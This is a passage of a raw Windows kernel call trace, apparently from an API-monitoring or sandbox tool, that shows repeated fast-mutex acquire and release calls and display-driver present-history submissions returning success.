[0164.002] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0164.002] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0164.002] DxgkCddSubmitPresentHistory () returned 0x0 [0164.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0164.412] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0164.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0164.412] DxgkCddSubmitPresentHistory () returned 0x0 [0165.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0165.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0165.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0165.987] DxgkCddSubmitPresentHistory () returned 0x0 [0165.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0165.988] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0165.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0165.988] DxgkCddSubmitPresentHistory () returned 0x0 [0166.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.034] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.034] DxgkCddSubmitPresentHistory () returned 0x0 [0166.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.034] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0166.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.034] DxgkCddSubmitPresentHistory () returned 0x0 [0166.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.096] DxgkCddSubmitPresentHistory () returned 0x0 [0166.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0166.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.097] DxgkCddSubmitPresentHistory () returned 0x0 [0166.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.180] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.180] DxgkCddSubmitPresentHistory () returned 0x0 [0166.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.180] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0166.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.180] DxgkCddSubmitPresentHistory () returned 0x0 [0166.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.206] DxgkCddSubmitPresentHistory () returned 0x0 [0166.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0166.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.206] DxgkCddSubmitPresentHistory () returned 0x0 [0166.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0166.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0166.206] DxgkCddSubmitPresentHistory () returned 0x0 [0166.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.237] DxgkCddSubmitPresentHistory () returned 0x0 [0166.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0166.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0166.237] DxgkCddSubmitPresentHistory () returned 0x0 [0166.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.284] DxgkCddSubmitPresentHistory () returned 0x0 [0166.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.365] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.365] DxgkCddSubmitPresentHistory () returned 0x0 [0166.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.425] DxgkCddSubmitPresentHistory () returned 0x0 [0166.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.472] DxgkCddSubmitPresentHistory () returned 0x0 [0166.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.534] DxgkCddSubmitPresentHistory () returned 0x0 [0166.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.602] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.602] DxgkCddSubmitPresentHistory () returned 0x0 [0166.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.659] DxgkCddSubmitPresentHistory () returned 0x0 [0166.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.737] DxgkCddSubmitPresentHistory () returned 0x0 [0166.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.784] DxgkCddSubmitPresentHistory () returned 0x0 [0166.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.846] DxgkCddSubmitPresentHistory () returned 0x0 [0166.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.910] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.910] DxgkCddSubmitPresentHistory () returned 0x0 [0166.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.988] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001473df0) [0166.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001473df0) [0166.988] DxgkCddSubmitPresentHistory () returned 0x0 [0167.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.393] DxgkCddSubmitPresentHistory () returned 0x0 [0167.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.471] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.471] DxgkCddSubmitPresentHistory () returned 0x0 [0167.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.518] DxgkCddSubmitPresentHistory () returned 0x0 [0167.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.581] DxgkCddSubmitPresentHistory () returned 0x0 [0167.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.690] DxgkCddSubmitPresentHistory () returned 0x0 [0167.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.722] DxgkCddSubmitPresentHistory () returned 0x0 [0167.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.768] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.768] DxgkCddSubmitPresentHistory () returned 0x0 [0167.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.846] DxgkCddSubmitPresentHistory () returned 0x0 [0167.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.893] DxgkCddSubmitPresentHistory () returned 0x0 [0167.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0167.971] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0167.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0167.971] DxgkCddSubmitPresentHistory () returned 0x0 [0168.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0168.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.018] DxgkCddSubmitPresentHistory () returned 0x0 [0168.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0168.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.081] DxgkCddSubmitPresentHistory () returned 0x0 [0168.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.143] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0168.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.143] DxgkCddSubmitPresentHistory () returned 0x0 [0168.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0168.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.206] DxgkCddSubmitPresentHistory () returned 0x0 [0168.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0168.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.268] DxgkCddSubmitPresentHistory () returned 0x0 [0168.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0168.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.331] DxgkCddSubmitPresentHistory () returned 0x0 [0168.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0168.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0168.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0168.393] DxgkCddSubmitPresentHistory () returned 0x0 [0169.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0169.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.815] DxgkCddSubmitPresentHistory () returned 0x0 [0169.877] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.877] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0169.877] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.877] DxgkCddSubmitPresentHistory () returned 0x0 [0169.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0169.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0169.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0169.940] DxgkCddSubmitPresentHistory () returned 0x0 [0170.002] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0170.002] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0170.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0170.003] DxgkCddSubmitPresentHistory () returned 0x0 [0170.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0170.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0170.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0170.065] DxgkCddSubmitPresentHistory () returned 0x0 [0171.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0171.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0171.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0171.893] DxgkCddSubmitPresentHistory () returned 0x0 [0172.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0172.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0172.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0172.862] DxgkCddSubmitPresentHistory () returned 0x0 [0173.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.393] DxgkCddSubmitPresentHistory () returned 0x0 [0173.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.456] DxgkCddSubmitPresentHistory () returned 0x0 [0173.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.518] DxgkCddSubmitPresentHistory () returned 0x0 [0173.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.581] DxgkCddSubmitPresentHistory () returned 0x0 [0173.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.643] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.643] DxgkCddSubmitPresentHistory () returned 0x0 [0173.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.721] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.722] DxgkCddSubmitPresentHistory () returned 0x0 [0173.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.784] DxgkCddSubmitPresentHistory () returned 0x0 [0173.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.831] DxgkCddSubmitPresentHistory () returned 0x0 [0173.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.893] DxgkCddSubmitPresentHistory () returned 0x0 [0173.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0173.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0173.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0173.956] DxgkCddSubmitPresentHistory () returned 0x0 [0174.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0174.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.018] DxgkCddSubmitPresentHistory () returned 0x0 [0174.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0174.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.096] DxgkCddSubmitPresentHistory () returned 0x0 [0174.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.143] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0174.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.143] DxgkCddSubmitPresentHistory () returned 0x0 [0174.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0174.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.206] DxgkCddSubmitPresentHistory () returned 0x0 [0174.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0174.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.268] DxgkCddSubmitPresentHistory () returned 0x0 [0174.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0174.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.331] DxgkCddSubmitPresentHistory () returned 0x0 [0174.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0174.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0174.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0174.409] DxgkCddSubmitPresentHistory () returned 0x0 [0175.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0175.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.112] DxgkCddSubmitPresentHistory () returned 0x0 [0175.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.174] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0175.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.174] DxgkCddSubmitPresentHistory () returned 0x0 [0175.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0175.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.237] DxgkCddSubmitPresentHistory () returned 0x0 [0175.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.315] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0175.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.315] DxgkCddSubmitPresentHistory () returned 0x0 [0175.375] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.375] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0175.375] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.375] DxgkCddSubmitPresentHistory () returned 0x0 [0175.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0175.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0175.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0175.393] DxgkCddSubmitPresentHistory () returned 0x0 [0177.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0177.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.784] DxgkCddSubmitPresentHistory () returned 0x0 [0177.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0177.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.831] DxgkCddSubmitPresentHistory () returned 0x0 [0177.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0177.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.894] DxgkCddSubmitPresentHistory () returned 0x0 [0177.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0177.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0177.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0177.956] DxgkCddSubmitPresentHistory () returned 0x0 [0178.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.019] DxgkCddSubmitPresentHistory () returned 0x0 [0178.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0178.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0178.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0178.081] DxgkCddSubmitPresentHistory () returned 0x0 [0178.159] 